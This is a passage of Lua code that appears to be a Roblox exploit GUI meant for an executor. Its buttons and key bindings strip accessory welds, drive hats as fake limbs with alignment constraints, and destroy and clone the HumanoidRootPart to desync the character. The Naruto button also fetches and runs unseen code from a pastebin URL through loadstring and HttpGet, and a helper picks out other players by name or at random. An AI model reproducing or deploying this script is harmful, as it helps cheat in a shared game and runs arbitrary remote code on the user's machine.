                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(70,-30,0)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(70,30,0)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-60,60,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(60,120,0)
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(-17,0,0)
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(-17,0,0)
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                att2.Position = Vector3.new(0,-2.3,-4.1)
            att2.Rotation = Vector3.new(-30,0,0)
           toggle = true
 else
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0,-1.2,-2)
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.15,-2,-3.45)
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.15,-2,-3.45)
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.2,-2,-1)
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.2,-2,-1)
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.54,-1,-1)
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.54,-1,-1)
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.54,-1.9,-2.6)
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.54,-1.9,-2.6)
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90,0,90)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(50,-30,0)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(50,30,0)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-60,90,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(60,90,0)
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(-17,0,0)
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(-17,0,0)
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
 
            att2.Position = Vector3.new(0,-2.3,-3.7)
            att2.Rotation = Vector3.new(-30,0,0)
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "e" then
     if toggle == false then
 
         Character.Humanoid.WalkSpeed = 16
 
         Character.Humanoid.Sit = false
 
         Character.Torso.Anchored = false
 
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-0,0.4,-1.5) --torso/black hair
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.163,-0.843,-1.071) --rightarm/Hat1
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.163,-0.843,-1.071) --leftarm/palhair
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.122,1.454,-0.72) --rightleg/lavenderhair
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.122,1.454,-0.72) --leftleg/pink hair
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.495,1.479,-1.64) --but1/fedora
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.495,1.479,-1.64) --but2/mesh
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.53,-0.2, -1) --bob1/mars
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.53,-0.2,-1) --bob2/uranus
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0) --torso/black hair
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(30,-143.49,20.32) --rightarm/Hat1
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(30,143.49,-20.32) --leftarm/palhair
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(27.81,141.21,159.03) --rightleg/lavenderhair
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(27.81, -141.21, -159.03) --leftleg/pink hair
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(-15.84,-8.32,2.29) --but1/fedora
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(-15.84,8.32,-2.29) --but2/mesh
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(0,0,0) --bob1/mars
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(0,0,0) --bob2/uranus
 
            att2.Position = Vector3.new(-0.155,-2.76,-1)
            att2.Rotation = Vector3.new(0,180,180)
           toggle = true
 else
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-0,0.4,-1.5) --torso/black hair
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.163,-0.843,-1.071) --rightarm/Hat1
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.163,-0.843,-1.071) --leftarm/palhair
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.122,1.454,-0.72) --rightleg/lavenderhair
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.122,1.454,-0.72) --leftleg/pink hair
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.495,1.479,-1.64) --but1/fedora
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.495,1.479,-1.64) --but2/mesh
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.53,-0.2, -1) --bob1/mars
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.53,-0.2,-1) --bob2/uranus
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0) --torso/black hair
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(30,-143.49,20.32) --rightarm/Hat1
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(30,143.49,-20.32) --leftarm/palhair
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(27.81,141.21,159.03) --rightleg/lavenderhair
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(27.81, -141.21, -159.03) --leftleg/pink hair
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(-15.84,-8.32,2.29) --but1/fedora
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(-15.84,8.32,-2.29) --but2/mesh
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(0,0,0) --bob1/mars
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(0,0,0) --bob2/uranus
 
 
            att2.Position = Vector3.new(-0.155,-2.76,-1.509)
            att2.Rotation = Vector3.new(0,180,180)
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "c" then
     if toggle == false then
 
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-0, 0.209, 1.709) --torso/black hair
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(1.45, 0.386, 1.24) --rightarm/Hat1
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-1.45, 0.386, 1.24) --leftarm/palhair
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(0.636, -1.95, 1.499) --rightleg/lavenderhair
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-0.636, -1.95, 1.499) --leftleg/pink hair
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(0.528, -1.214, 0.419) --but1/fedora
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(-0.528, -1.214, 0.419) --but2/mesh
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.535, 0.253, -0.607) --bob1/mars
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.496, 0.254, -0.604) --bob2/uranus
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, 101.38, 90) --torso/black hair
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-30.06, 0, 0) --rightarm/Hat1
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-30.06, 0, 0) --leftarm/palhair
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-109.58, 0, 0) --rightleg/lavenderhair
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(-109.58, 0, 0) --leftleg/pink hair
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(11.3, 0, 0) --but1/fedora
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(11.3, 0, 0) --but2/mesh
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(20, 0, 0) --bob1/mars
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(20, 0, 0) --bob2/uranus
 
            att2.Position = Vector3.new(0, 0.5, 1.2)
            att2.Rotation = Vector3.new(-19.35, 0, 0)
           toggle = true
 else
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-0, 0.192, 1.795) --torso/black hair
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(1.45, 0.386, 1.24) --rightarm/Hat1
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-1.45, 0.386, 1.24) --leftarm/palhair
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(0.605, -1.977, 1.7) --rightleg/lavenderhair
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-0.605, -1.977, 1.7) --leftleg/pink hair
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(0.528, -1.214, 0.419) --but1/fedora
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(-0.528, -1.214, 0.419) --but2/mesh
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.535, 0.253, -0.607) --bob1/mars
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.496, 0.254, -0.604) --bob2/uranus
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, 78.62, 90) --torso/black hair
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-30.06, 0, 0) --rightarm/Hat1
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-30.06, 0, 0) --leftarm/palhair
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(-85.58, 0, 0) --rightleg/lavenderhair
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(-85.58, 0, 0) --leftleg/pink hair
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(11.3, 0, 0) --but1/fedora
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(11.3, 0, 0) --but2/mesh
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(20, 0, 0) --bob1/mars
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(20, 0, 0) --bob2/uranus
 
 
            att2.Position = Vector3.new(0, 0.5, 1.885)
            att2.Rotation = Vector3.new(-19.35, 0, 0)
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "r" then
     if toggle == false then
 
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0, 0.496, -1.49) --torso/black hair
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.355, 1.199, -0.838) --rightarm/Hat1
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.355, 1.199, -0.838) --leftarm/palhair
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.021, -0.814, -0.517) --rightleg/lavenderhair
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.021, -0.814, -0.517) --leftleg/pink hair
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.551, -1.054, -1.65) --but1/fedora
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.551, -1.054, -1.65) --but2/mesh
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.509, 1.1, -0.95) --bob1/mars
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.509, 1.1, -0.95) --bob2/uranus
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, 101.38, 90) --torso/black hair
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(21.09, 0, 0) --rightarm/Hat1
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(21.09, 0, 0) --leftarm/palhair
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(13.18, 34.16, 8.79) --rightleg/lavenderhair
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(13.18, -34.16, -8.79) --leftleg/pink hair
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(14.28, 0, 0) --but1/fedora
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(14.28, 0, 0) --but2/mesh
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(-15, 0, 0) --bob1/mars
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(-15, 0, 0) --bob2/uranus
 
            att2.Position = Vector3.new(0, 0.7, -1.988)
            att2.Rotation = Vector3.new(-8.98, 180, 0)
           toggle = true
 else
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0, 0.696, -1.553) --torso/black hair
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.355, 1.199, -0.838) --rightarm/Hat1
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.355, 1.199, -0.838) --leftarm/palhair
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.021, -0.814, -0.517) --rightleg/lavenderhair
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.021, -0.814, -0.517) --leftleg/pink hair
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.523, -0.689, -1.743) --but1/fedora
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.523, -0.689, -1.743) --but2/mesh
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.509, 1.315, -1.045) --bob1/mars
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.509, 1.315, -1.045) --bob2/uranus
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, 101.38, 90) --torso/black hair
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(2.27, 0, 0) --rightarm/Hat1
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(2.27, 0, 0) --leftarm/palhair
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(4.87, 36.91, 8.59) --rightleg/lavenderhair
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(4.87, -36.91, -8.59) --leftleg/pink hair
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(14.28, 0, 0) --but1/fedora
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(14.28, 0, 0) --but2/mesh
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(-15, 0, 0) --bob1/mars
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(-15, 0, 0) --bob2/uranus
 
 
            att2.Position = Vector3.new(0, 1, -1.988)
            att2.Rotation = Vector3.new(-1.58, 180, 0)
            toggle = false
        end
    end
end)
end)
 
Naruto.Name = "Naruto"
Naruto.Parent = Scripts
Naruto.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Naruto.BorderColor3 = Color3.fromRGB(27, 42, 53)
Naruto.BorderSizePixel = 0
Naruto.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Naruto.Size = UDim2.new(0, 85, 0, 32)
Naruto.Font = Enum.Font.SourceSansItalic
Naruto.Text = "Naruto"
Naruto.TextColor3 = Color3.fromRGB(0, 0, 0)
Naruto.TextSize = 30.000
Naruto.TextWrapped = true
Naruto.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.face:Remove()
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character['Right Arm'].Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
 
 Local = game:GetService('Players').LocalPlayer
 Char  = Local.Character
 touched,tpdback = false, false
 Local.CharacterAdded:connect(function(char)
     if script.Disabled ~= true then
         wait(.00001)
         loc = Char.HumanoidRootPart.Position
         Char:MoveTo(box.Position + Vector3.new(0,.5,0))
     end
 end)
 box = Instance.new('Part',workspace)
 box.Anchored = true
 box.Transparency = 1
 box.CanCollide = true
 box.Size = Vector3.new(10,1,10)
 box.Position = Vector3.new(0,10000,0)
 box.Touched:connect(function(part)
     if (part.Parent.Name == Local.Name) then
         if touched == false then
             touched = true
             function apply()
                 if script.Disabled ~= true then
                     no = Char.HumanoidRootPart:Clone()
                     wait(.0001)
                     Char.HumanoidRootPart:Destroy()
                     no.Parent = Char
                     Char:MoveTo(loc)
                     touched = false
                 end end
             if Char then
                 apply()
             end
         end
     end
 end)
 repeat wait() until Char
 loc = Char.HumanoidRootPart.Position
 Char:MoveTo(box.Position + Vector3.new(0,.5,0))
 
 wait(0.5)
local LocalPlayer = game.Players.LocalPlayer;local Character = LocalPlayer.Character;local Mouse = LocalPlayer:GetMouse()
Character["LavanderHair"].Name = "Brick1";Character["Pal Hair"].Name = "Brick2"
Character["LongHairHeadBand Black"].Name = "Brick3";Character["Hat1"].Name = "Brick4"
Character["Kate Hair"].Name = "Brick5";Character["Meshes/LimitBreakingHairGoldAccessory"].Name = "Brick6"
local Head = Character["Head"];local Torso = Character["Torso"]
local RArm = Character["Right Arm"];local LArm = Character["Left Arm"]
local RLeg = Character["Right Leg"];local LLeg = Character["Left Leg"]
local Hat1 = Character["Brick1"];local Hat2 = Character["Brick2"]
local Hat3 = Character["Brick3"];local Hat4 = Character["Brick4"]
local Hat5 = Character["Brick5"];local Hat6 = Character["Brick6"]
 
Hat1.Handle.Mesh:Destroy()
Hat2.Handle.Mesh:Destroy()
Hat3.Handle.Mesh:Destroy()
Hat4.Handle.Mesh:Destroy()
Hat5.Handle.Mesh:Destroy()
 
--LostDevelopers Alignment Function
function Align(Part1,Part0,Position,Angle)
local AlignPos = Instance.new("AlignPosition", Part1);
AlignPos.Parent.CanCollide = false;
AlignPos.ApplyAtCenterOfMass = true;
AlignPos.MaxForce = 67752;
AlignPos.MaxVelocity = math.huge/9e110;
AlignPos.ReactionForceEnabled = false;
AlignPos.Responsiveness = 200;
AlignPos.RigidityEnabled = false;
local AlignOri = Instance.new("AlignOrientation", Part1);
AlignOri.MaxAngularVelocity = math.huge/9e110;
AlignOri.MaxTorque = 67752;
AlignOri.PrimaryAxisOnly = false;
AlignOri.ReactionTorqueEnabled = false;
AlignOri.Responsiveness = 200;
AlignOri.RigidityEnabled = false;
local AttachmentA=Instance.new("Attachment",Part1);
local AttachmentB=Instance.new("Attachment",Part0);
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AlignPos.Attachment0 = AttachmentA;
AlignPos.Attachment1 = AttachmentB;
AlignOri.Attachment0 = AttachmentA;
AlignOri.Attachment1 = AttachmentB;
end
Character.Humanoid.HipHeight = 0
function Weld(Part)
Part.Handle.AccessoryWeld:Destroy()
end
function Mesh(Part)
Part.Handle.SpecialMesh:Destroy()
end
Weld(Hat1);Weld(Hat2);Weld(Hat3)
Weld(Hat4);Weld(Hat5);Weld(Hat6)
--[[ Alignment and Measurements ]]--
Align(Hat1.Handle, RLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat2.Handle, LLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat3.Handle, Torso, Vector3.new(0,-0.2,0), Vector3.new(0,90,0))
Align(Hat4.Handle, LArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat5.Handle, RArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat6.Handle, Head, Vector3.new(0,0.5,0), Vector3.new(0,0,0))
 
wait(0.5)
loadstring(game:HttpGet(('https://pastebin.com/raw/qShnBjCY'),true))()
end)
 
StrongStand.Name = "Strong Stand"
StrongStand.Parent = Scripts
StrongStand.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
StrongStand.BorderColor3 = Color3.fromRGB(27, 42, 53)
StrongStand.BorderSizePixel = 0
StrongStand.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
StrongStand.Size = UDim2.new(0, 85, 0, 32)
StrongStand.Font = Enum.Font.SourceSansItalic
StrongStand.Text = "Strong Stand"
StrongStand.TextColor3 = Color3.fromRGB(0, 0, 0)
StrongStand.TextSize = 22.000
StrongStand.TextWrapped = true
StrongStand.MouseButton1Down:connect(function()
    local m = Instance.new("Message")
 
m.Parent = game.Workspace
 
m.Text = "Script made by LeitungBambus#1933"
 
wait(4)
 
m:remove()
 
wait(0)
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
 local toggle2 = true
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
local head = Character:WaitForChild("VibeCheck")
local Hats = { torso1 = Character:WaitForChild("No Speak Monkey"),
              torso2 = Character:WaitForChild("Kate Hair"),
              rightarm = Character:WaitForChild("Hat1"),
             leftarm = Character:WaitForChild("Pal Hair"),
             rightleg = Character:WaitForChild("LavanderHair"),
             leftleg = Character:WaitForChild("Pink Hair"),
             rightabs = Character:WaitForChild("InternationalFedora"),
            leftabs = Character:WaitForChild("MarsPet"),
             bottomabs = Character:WaitForChild("MeshPartAccessory"),
}
head.Handle.AccessoryWeld:Remove()
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 65
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = true
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
 
align(head.Handle, Character["Torso"])
align(Hats.torso1.Handle, Character["Torso"])
align(Hats.torso2.Handle, Character["Torso"])
align(Hats.rightarm.Handle, Character["Torso"])
align(Hats.leftarm.Handle, Character["Torso"])
align(Hats.rightleg.Handle, Character["Torso"])
align(Hats.leftleg.Handle, Character["Torso"])
align(Hats.rightabs.Handle, Character["Torso"])
align(Hats.leftabs.Handle, Character["Torso"])
align(Hats.bottomabs.Handle, Character["Torso"])
 
 
head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(75, 180, -150)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-64.91, 37.86, -24.33)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(120,0,0)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75,360,180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "headattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso1attachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso2attachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "rightarmattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "leftarmattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "rightlegattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "leftlegattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "rightabsattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "leftabsattachment"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "bottomabsattachment"
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, 3.4, 2.9)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, 2.4, 2.9)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, 1.4, 2.9)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, 1.984, 2.323)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.674, 1.968, 2.645)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.5, 0.145, 3.041)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.5, 0.2, 2.5)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, 2.5, 2.4)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, 2.5, 2.4)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, 1.4, 2.4)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "f" then
     if toggle == false then
 
             Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(75, 180, -150)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-64.91, 37.86, -24.33)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(120,0,0)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75,360,180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, 3.4, 2.9)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, 2.4, 2.9)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, 1.4, 2.9)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, 1.984, 2.323)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.674, 1.968, 2.645)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.5, 0.145, 3.041)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.5, 0.2, 2.5)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, 2.5, 2.4)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, 2.5, 2.4)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, 1.4, 2.4)
 
 
toggle = true
 
 else
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(75, 180, -150)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-64.91, 37.86, -24.33)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(120,0,0)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75,360,180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, 3.4, 2.9)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, 2.4, 2.9)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, 1.4, 2.9)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, 1.984, 2.323)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.674, 1.968, 2.645)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.5, 0.145, 3.041)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.5, 0.2, 2.5)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, 2.5, 2.4)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, 2.5, 2.4)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, 1.4, 2.4)
 
            toggle = false
        end
     end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "g" then
     if toggle == false then
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
